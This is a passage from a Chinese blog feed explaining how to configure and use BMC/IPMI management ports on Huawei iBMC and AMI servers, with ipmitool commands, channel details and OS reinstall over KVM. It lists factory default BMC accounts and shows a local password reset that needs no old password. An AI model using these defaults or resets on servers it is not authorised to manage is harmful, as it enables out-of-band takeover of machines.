&lt;p&gt;&lt;strong&gt;NPU 实测结果&lt;&#x2F;strong&gt;：配置成功写入（&lt;code&gt;IP Address Source: Static&lt;&#x2F;code&gt;、&lt;code&gt;192.168.6.10&#x2F;22&lt;&#x2F;code&gt;、网关 &lt;code&gt;192.168.6.1&lt;&#x2F;code&gt;），但 ping 不通、ARP &lt;code&gt;INCOMPLETE&lt;&#x2F;code&gt; —— 说明&lt;strong&gt;管理口网线没插&#x2F;没接到交换机&lt;&#x2F;strong&gt;，物理链路未通。配置 IP 后必须插网线才生效，这是配置正确但连不上的最常见原因。&lt;&#x2F;p&gt;
&lt;p&gt;注意事项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;管理口是专用 MGMT 口&lt;&#x2F;strong&gt;，不是业务网口（业务口在 Atlas 上是 I350 四口，管理口是独立小口，MAC &lt;code&gt;b0:4f:a6:0d:2f:f1&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;改完后需把网线插到管理口，并在能路由到该网段的地方访问&lt;&#x2F;li&gt;
&lt;li&gt;Atlas 出厂默认管理 IP 通常是 &lt;code&gt;192.168.1.2&lt;&#x2F;code&gt;，AMI 系默认常用 &lt;code&gt;10.10.10.10&lt;&#x2F;code&gt;（GPU 本机就是）&lt;&#x2F;li&gt;
&lt;li&gt;管理口建议与业务网分开 VLAN，或按需调整到可达网段&lt;&#x2F;li&gt;
&lt;li&gt;GPU 服务器（AMI BMC）按同样命令即可改（改前记下当前值：&lt;code&gt;10.10.10.10&#x2F;24&lt;&#x2F;code&gt;，网关 &lt;code&gt;10.10.10.1&lt;&#x2F;code&gt;，改完用 &lt;code&gt;lan print 1&lt;&#x2F;code&gt; 确认）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;di-si-bu-shi-yong-guan-li-kou&quot;&gt;第四步：使用管理口&lt;&#x2F;h1&gt;
&lt;p&gt;BMC 开启且 IP 可达后，三种方式：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1. Web 界面（推荐）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;https:&amp;#x2F;&amp;#x2F;&amp;lt;管理IP&amp;gt;     # iBMC: 默认用户 Administrator；AMI: 常见 ADMIN&amp;#x2F;ADMIN
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可远程 KVM 桌面、开关机、看硬件健康（传感器&#x2F;SEL 日志）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2. SSH 进 BMC&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh Administrator@&amp;lt;管理IP&amp;gt;     # iBMC 命令行
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3. IPMI 命令（带外电源管理）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ipmitool -I lanplus -H &amp;lt;管理IP&amp;gt; -U &amp;lt;用户&amp;gt; -P &amp;lt;密码&amp;gt; power status   # 看电源状态
ipmitool -I lanplus -H &amp;lt;管理IP&amp;gt; -U &amp;lt;用户&amp;gt; -P &amp;lt;密码&amp;gt; power on       # 开机
ipmitool -I lanplus -H &amp;lt;管理IP&amp;gt; -U &amp;lt;用户&amp;gt; -P &amp;lt;密码&amp;gt; sel list        # 看系统事件日志
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;bu-chong-ipmi-tong-dao-channel-xiang-jie&quot;&gt;补充：IPMI 通道（channel）详解&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;ipmitool lan set 1&lt;&#x2F;code&gt; 里的 &lt;code&gt;1&lt;&#x2F;code&gt; 是 &lt;strong&gt;channel 编号&lt;&#x2F;strong&gt;。BMC 内部有多个通道（编号 0~15），每个通道是不同通信介质，对应不同用途。&lt;strong&gt;通道是 BMC 内部的通信媒介，不是物理网口&lt;&#x2F;strong&gt;，多数通道由 BMC 后台自动工作，无需用户操作。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cha-kan-tong-dao&quot;&gt;查看通道&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ipmitool channel info &amp;lt;n&amp;gt;     # 看单个通道（n = 0~15）
# 循环列出所有有效通道：
for c in $(seq 0 15); do echo -n &amp;quot;ch$c: &amp;quot;; sudo ipmitool channel info $c 2&amp;gt;&amp;amp;1 | grep &amp;#x27;Channel Medium Type&amp;#x27;; done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tong-dao-lei-xing-yu-yong-tu&quot;&gt;通道类型与用途&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Channel&lt;&#x2F;th&gt;&lt;th&gt;介质&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;th&gt;用户操作&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;802.3 LAN&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;专用管理口&lt;&#x2F;strong&gt;（Dedicated BMC 网口，&lt;code&gt;lan set 1&lt;&#x2F;code&gt; 操作的就是它）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;lan print 1&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;lan set 1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;Serial&#x2F;Modem&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SOL&lt;&#x2F;strong&gt;：串口重定向，远程看 BIOS&#x2F;POST&#x2F;内核启动日志，系统崩了也能进 BIOS&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ipmitool sol activate&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;SMBus v2.0&lt;&#x2F;td&gt;&lt;td&gt;BMC ↔ 主板传感器&#x2F;EEPROM 通信总线&lt;&#x2F;td&gt;&lt;td&gt;无（自动）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&#x2F;14&#x2F;15&lt;&#x2F;td&gt;&lt;td&gt;System Interface&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;KCS 系统接口&lt;&#x2F;strong&gt;：OS 内 &lt;code&gt;&#x2F;dev&#x2F;ipmi0&lt;&#x2F;code&gt; 与 BMC 通信的通道（本地跑 ipmitool 就是它）&lt;&#x2F;td&gt;&lt;td&gt;本地 &lt;code&gt;ipmitool sdr list&lt;&#x2F;code&gt; 等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;6&#x2F;10&lt;&#x2F;td&gt;&lt;td&gt;IPMB (I2C)&lt;&#x2F;td&gt;&lt;td&gt;BMC 内部管理总线：连接电源、背板、风扇板等管理芯片&lt;&#x2F;td&gt;&lt;td&gt;无（自动）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;7&#x2F;8&lt;&#x2F;td&gt;&lt;td&gt;802.3 LAN&lt;&#x2F;td&gt;&lt;td&gt;共享 LAN（Share LAN）或同口别名，见下&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;lan print 7&#x2F;8&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;san-ge-lan-tong-dao-san-ge-wu-li-wang-kou&quot;&gt;三个 LAN 通道 ≠ 三个物理网口&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;NPU 服务器（华为 iBMC）实测&lt;&#x2F;strong&gt;：只有 ch1 一个 LAN 通道（&lt;code&gt;lan print 2&lt;&#x2F;code&gt; 报 &quot;Invalid channel: 2&quot;），其余是 IPMB&#x2F;System Interface。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;GPU 服务器（AMI BMC）实测&lt;&#x2F;strong&gt;：有 ch1&#x2F;ch7&#x2F;ch8 三个 LAN 通道。通过对比 MAC 判断物理口归属：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;ch1: 8c:1a:f3:11:59:a1   ← 专用管理口
ch7: 8c:1a:f3:11:59:a2   ← MAC 独立，OS 里无对应网口（未引出机箱的口）
ch8: 8c:1a:f3:11:59:a1   ← MAC 与 ch1 相同 = ch1 的别名&amp;#x2F;同口，忽略
eno1: 8c:1a:f3:11:59:a3  ← 业务口
eno2: 8c:1a:f3:11:59:a4  ← 业务口
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;&#x2F;strong&gt;：三个 LAN 通道实际只有 &lt;strong&gt;1 个物理管理口&lt;&#x2F;strong&gt;（a1）。真正的管理口 = ch1。MAC 编号连续（a1~a4）说明同一网卡控制器生产。判断方法：&lt;code&gt;lan print 7&#x2F;8&lt;&#x2F;code&gt; 的 MAC 与 &lt;code&gt;ip link&lt;&#x2F;code&gt; 里业务口的 MAC 对比——相同才是共享 LAN（复用业务网口），独立 MAC 则是独立物理口或固件别名。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ge-tong-dao-de-shi-ji-yong-fa&quot;&gt;各通道的实际用法&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;SOL（ch2）— 远程串口控制台&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ipmitool -I lanplus -H &amp;lt;管理IP&amp;gt; -U &amp;lt;用户&amp;gt; -P &amp;lt;密码&amp;gt; sol activate
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;前提：BMC Web 界面启用 SOL，内核启动参数带 &lt;code&gt;console=ttyS0&lt;&#x2F;code&gt;（AMI 默认一般已配好）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;KCS（ch5&#x2F;14&#x2F;15）— 本地 ipmitool 的默认通道&lt;&#x2F;strong&gt;（不带 &lt;code&gt;-I lanplus -H&lt;&#x2F;code&gt; 时自动走它）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ipmitool sdr list            # 全部传感器（温度&amp;#x2F;风扇&amp;#x2F;电源电压）
sudo ipmitool sensor list         # 同上，更详细
sudo ipmitool sel list            # 系统事件日志（上次宕机原因）
sudo ipmitool fru print           # 硬件 FRU 信息（型号&amp;#x2F;序列号）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;NPU 实测输出（华为 5104-00715）：&lt;code&gt;Inlet Temp 23°C &#x2F; CPU1 Core 50°C &#x2F; Power 390W&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;共享 LAN（ch7&#x2F;8）&lt;&#x2F;strong&gt;：若要在 BMC Web 界面 → Network 开启 &quot;Share LAN&quot;，BMC 复用业务网口，无需插管理口网线。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bu-chong-mei-deng-lu-fu-wu-qi-shi-ru-he-fang-wen-guan-li-kou-dai-wai-fang-wen&quot;&gt;补充：没登录服务器时如何访问管理口（带外访问）&lt;&#x2F;h1&gt;
&lt;p&gt;管理口是&lt;strong&gt;带外&lt;&#x2F;strong&gt;的——不依赖服务器 OS，只要管理口本身联网（网线 + IP 可达）就能直接访问。OS 进不去、系统没装、崩溃时都能用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-zhi-dao-ip-zhi-jie-fang-wen&quot;&gt;1. 知道 IP：直接访问&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;https:&amp;#x2F;&amp;#x2F;&amp;lt;管理IP&amp;gt;     # 浏览器
ssh &amp;lt;用户&amp;gt;@&amp;lt;管理IP&amp;gt;  # SSH 进 BMC
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-bu-zhi-dao-ip-shi-ru-he-zhao-dao&quot;&gt;2. 不知道 IP 时如何找到&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;出厂默认 IP&lt;&#x2F;strong&gt;（电脑配同网段静态 IP，网线直连管理口）：
&lt;ul&gt;
&lt;li&gt;华为 iBMC：&lt;code&gt;192.168.1.2&#x2F;24&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;AMI&#x2F;Supermicro：多数出厂 &lt;strong&gt;DHCP&lt;&#x2F;strong&gt;（接公司网络后去 DHCP 服务器按 MAC 查），部分型号固定 &lt;code&gt;10.10.10.10&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;扫描发现&lt;&#x2F;strong&gt;（管理口已接交换机）：&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;arp -a                    # 邻居表里找新出现的 MAC
nmap -sn 192.168.6.0&amp;#x2F;24   # 网段扫描
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;MAC 对照&lt;&#x2F;strong&gt;：管理口 MAC 印在机箱贴纸&#x2F;手册上，&lt;code&gt;arp -a&lt;&#x2F;code&gt; 匹配到即是&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-mo-ren-zhang-hao-mi-ma&quot;&gt;3. 默认账号密码&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;厂商&lt;&#x2F;th&gt;&lt;th&gt;默认账号&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;华为 iBMC&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Administrator&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;Admin@9000&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;AMI (Supermicro)&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ADMIN&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;ADMIN&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;一般印在机箱侧面标签。忘记&#x2F;改过密码的恢复方式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;iBMC：机箱上恢复默认跳线&#x2F;按钮，或 USB 串口线接 M3 micro-USB 口进 CLI 恢复&lt;&#x2F;li&gt;
&lt;li&gt;AMI：进 BIOS → BMC 设置 → 恢复出厂&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;4-wang-luo-che-di-bu-tong-shi&quot;&gt;4. 网络彻底不通时&lt;&#x2F;h2&gt;
&lt;p&gt;USB 串口线直连管理串口（华为 M3 micro-USB 口）进 iBMC CLI，查 IP &#x2F; 恢复默认 &#x2F; 直接命令行操作。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bu-chong-xiu-gai-zhong-zhi-guan-li-kou-mi-ma&quot;&gt;补充：修改&#x2F;重置管理口密码&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yong-ipmitool-xiu-gai-mi-ma&quot;&gt;用 ipmitool 修改密码&lt;&#x2F;h2&gt;
&lt;p&gt;先查用户 ID（NPU 实测 &lt;code&gt;Administrator&lt;&#x2F;code&gt; 是 ID 2）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ipmitool user list 1                    # 查看用户列表与 ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;本地修改&lt;&#x2F;strong&gt;（登录服务器后，零停机，&lt;strong&gt;不需要旧密码&lt;&#x2F;strong&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ipmitool user set password 2 &amp;lt;新密码&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;带外修改&lt;&#x2F;strong&gt;（从任意机器走管理口网络，&lt;strong&gt;需要旧密码&lt;&#x2F;strong&gt;——先要认证）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ipmitool -I lanplus -H &amp;lt;管理IP&amp;gt; -U &amp;lt;用户&amp;gt; -P &amp;lt;旧密码&amp;gt; user set password 2 &amp;lt;新密码&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;为什么本地不需要旧密码？&lt;&#x2F;strong&gt; 两种通道的信任模型不同：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方式&lt;&#x2F;th&gt;&lt;th&gt;通道&lt;&#x2F;th&gt;&lt;th&gt;需要旧密码？&lt;&#x2F;th&gt;&lt;th&gt;原理&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;登录服务器后本地 ipmitool&lt;&#x2F;td&gt;&lt;td&gt;KCS 系统接口（&#x2F;dev&#x2F;ipmi0）&lt;&#x2F;td&gt;&lt;td&gt;不需要&lt;&#x2F;td&gt;&lt;td&gt;BMC 把系统接口视为物理可信路径，OS root 权限即认证本身&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;通过管理口网络（lanplus）&lt;&#x2F;td&gt;&lt;td&gt;LAN 通道&lt;&#x2F;td&gt;&lt;td&gt;需要&lt;&#x2F;td&gt;&lt;td&gt;网络访问必须先通过用户名+密码认证&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;本质：&lt;strong&gt;本地 = 物理可信域，带外 = 网络身份认证域&lt;&#x2F;strong&gt;。这也是安全设计——管理员忘记 BMC 密码时仍能从 OS 内重置，不会彻底锁死。&lt;&#x2F;p&gt;
&lt;p&gt;其他用户管理命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ipmitool user enable 2                  # 启用用户
sudo ipmitool user disable 2                 # 禁用用户
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：新密码不能与当前相同；华为 iBMC 密码要求 8~20 位且含大写&#x2F;小写&#x2F;数字&#x2F;特殊字符中至少三类。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wang-ji-mi-ma-shi-ru-he-reset-bu-xu-yao-ting-ji&quot;&gt;忘记密码时如何 reset（不需要停机）&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;情况&lt;&#x2F;th&gt;&lt;th&gt;方法&lt;&#x2F;th&gt;&lt;th&gt;停机要求&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;能登录 OS&lt;&#x2F;td&gt;&lt;td&gt;本地 &lt;code&gt;ipmitool user set password&lt;&#x2F;code&gt;（见上）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;零停机&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;不能登录 OS&lt;&#x2F;td&gt;&lt;td&gt;机箱恢复按钮&#x2F;跳线 → 恢复出厂（含默认密码）&lt;&#x2F;td&gt;&lt;td&gt;需断电物理操作&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;不能登录 OS&lt;&#x2F;td&gt;&lt;td&gt;华为 M3 串口进 iBMC CLI&lt;&#x2F;td&gt;&lt;td&gt;不需停机，但 CLI 用同一套账号，忘光则无效&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;不能登录 OS（AMI）&lt;&#x2F;td&gt;&lt;td&gt;BIOS → BMC 设置 → 恢复出厂&lt;&#x2F;td&gt;&lt;td&gt;需重启系统进 BIOS&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;关键原理&lt;&#x2F;strong&gt;：BMC 是独立小系统，&lt;strong&gt;重启&#x2F;复位 BMC 不影响 OS 运行&lt;&#x2F;strong&gt;（仅 KVM&#x2F;SOL 短暂断几秒）。所谓&quot;停机&quot;只来自物理操作（跳线&#x2F;按钮）和进 BIOS 这两条路径，改密码&#x2F;恢复出厂本身不动业务。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bu-chong-tong-guo-guan-li-kou-zhong-zhuang-xi-tong-yuan-cheng-gua-zai-iso-kvm&quot;&gt;补充：通过管理口重装系统（远程挂载 ISO + KVM）&lt;&#x2F;h1&gt;
&lt;p&gt;管理口（BMC）可以完整重装系统：&lt;strong&gt;远程挂载 ISO 当虚拟光驱 + KVM 远程控制台看到屏幕并操作&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shen-me-shi-kvm&quot;&gt;什么是 KVM？&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;KVM = Keyboard + Video + Mouse&lt;&#x2F;strong&gt;（键盘、显示、鼠标）。不是多键鼠，而是&quot;虚拟一套键鼠 + 屏幕&quot;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Video&lt;&#x2F;strong&gt;：服务器的显卡输出（屏幕画面）通过管理口实时传到浏览器显示&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Keyboard&#x2F;Mouse&lt;&#x2F;strong&gt;：浏览器里的鼠标键盘输入回传给服务器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;你的浏览器 ←网络(管理口)→ 服务器 BMC → 虚拟显卡+虚拟键鼠 → 服务器主机
（你看到的画面）                        （KVM 芯片捕获&amp;#x2F;注入）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;特点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;KVM 是&lt;strong&gt;带外&lt;&#x2F;strong&gt;的：系统没装、卡在 BIOS、系统崩溃时都能看到屏幕并操作&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Web 界面能看到 BIOS&lt;&#x2F;strong&gt;：开机自检（POST）、BIOS 设置、GRUB、安装界面全过程可见可操作&lt;&#x2F;li&gt;
&lt;li&gt;一台服务器同一时间只能被一个 KVM 会话控制（单控），不同于 IPMI 命令可多会话&lt;&#x2F;li&gt;
&lt;li&gt;NPU 的 iBMC 和 GPU 的 AMI 都支持，Web 界面找&quot;远程控制台 &#x2F; Remote Console &#x2F; iKVM&quot;入口&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zhong-zhuang-xi-tong-wan-zheng-liu-cheng&quot;&gt;重装系统完整流程&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;浏览器访问 &lt;code&gt;https:&#x2F;&#x2F;&amp;lt;管理IP&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（iBMC 默认用户 &lt;code&gt;Administrator&lt;&#x2F;code&gt;；AMI 常见 &lt;code&gt;ADMIN&#x2F;ADMIN&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;打开远程控制台（KVM）&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Virtual Media &#x2F; 虚拟光驱&lt;&#x2F;strong&gt; → 挂载 ISO 镜像（上传本地文件或填 HTTP 下载链接）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;设置下次从虚拟光驱启动&lt;&#x2F;strong&gt;（BMC 里设 boot order，或用命令）：&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ipmitool -I lanplus -H &amp;lt;管理IP&amp;gt; -U &amp;lt;用户&amp;gt; -P &amp;lt;密码&amp;gt; chassis bootdev cdrom   # 下次从虚拟光驱启动
ipmitool -I lanplus -H &amp;lt;管理IP&amp;gt; -U &amp;lt;用户&amp;gt; -P &amp;lt;密码&amp;gt; chassis power reset      # 重启
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;KVM 窗口&lt;&#x2F;strong&gt;里即可看到安装界面（BIOS → 安装器全流程），正常安装&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;注意事项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;装完把启动顺序改回硬盘：&lt;code&gt;chassis bootdev disk&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;替代方案：&lt;strong&gt;PXE 网络启动&lt;&#x2F;strong&gt;（&lt;code&gt;chassis bootdev pxe&lt;&#x2F;code&gt; + 同网段 PXE 服务器，数据流走业务网口）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SOL 串口只能文本安装&lt;&#x2F;strong&gt;（Ubuntu Server 文本安装器），不支持图形界面&lt;&#x2F;li&gt;
&lt;li&gt;ISO 挂载的数据流走管理口网线，一般 1GbE，速度可接受&lt;&#x2F;li&gt;
&lt;li&gt;挂载 ISO 后需在 BIOS 里允许虚拟光驱启动&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;判断 BMC 是否在位：&lt;code&gt;&#x2F;dev&#x2F;ipmi0&lt;&#x2F;code&gt; + &lt;code&gt;lspci&lt;&#x2F;code&gt; + &lt;code&gt;dmesg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;查看管理口是否开启：&lt;code&gt;sudo ipmitool lan print 1&lt;&#x2F;code&gt; —— IP 为 &lt;code&gt;0.0.0.0&lt;&#x2F;code&gt;（DHCP 未拿到）说明未开启，有具体 IP 说明已开启&lt;&#x2F;li&gt;
&lt;li&gt;配置：&lt;code&gt;ipmitool lan set 1&lt;&#x2F;code&gt; 系列命令，静态 IP&#x2F;掩码&#x2F;网关&lt;&#x2F;li&gt;
&lt;li&gt;使用：Web（&lt;code&gt;https:&#x2F;&#x2F;&amp;lt;IP&amp;gt;&lt;&#x2F;code&gt;）、SSH、IPMI over LAN&lt;&#x2F;li&gt;
&lt;li&gt;现状记录：NPU（Atlas iBMC）管理口未开启待配置；GPU（AMI）已开启 &lt;code&gt;10.10.10.10&#x2F;24&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SSH 登录下解锁 GNOME Keyring 的两种方法</title>
        <published>2026-08-11T14:19:13+08:00</published>
        <updated>2026-08-11T14:19:13+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/ssh-unlock-gnome-keyring/"/>
        <id>https://vercel.juzhong.asia/2026/08/ssh-unlock-gnome-keyring/</id>
        
